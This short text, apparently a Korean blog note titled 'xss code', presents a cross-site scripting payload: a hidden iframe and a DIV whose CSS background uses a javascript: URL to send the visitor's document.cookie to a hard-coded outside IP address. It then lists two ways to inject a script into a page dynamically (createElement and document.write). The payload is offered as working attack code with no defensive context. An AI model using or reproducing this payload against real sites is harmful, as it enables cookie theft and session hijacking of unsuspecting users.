xss code

<iframe name=test src=test height=0 width=0>
</iframe>
<DIV STYLE="background-image: url(javascript:parent.test.location='http://211.115.70.160/a.php?coo='+document.cookie)">




출처 : http://blog.gloridea.net/1165540450

1. script 엘리먼트를 만들어서 현  문서에 추가한다. (A)
   var scr = document.createElement("script");
   scr.src = "a.js";
   document.getElementsByTagName("head")[0].appendChild(scr);
   
2. document.write / innerHTML을 이용한 직접 태그를 추가한다. (B)
   document.write("<script type='text/javascript' src='b.js'><"+"/script>");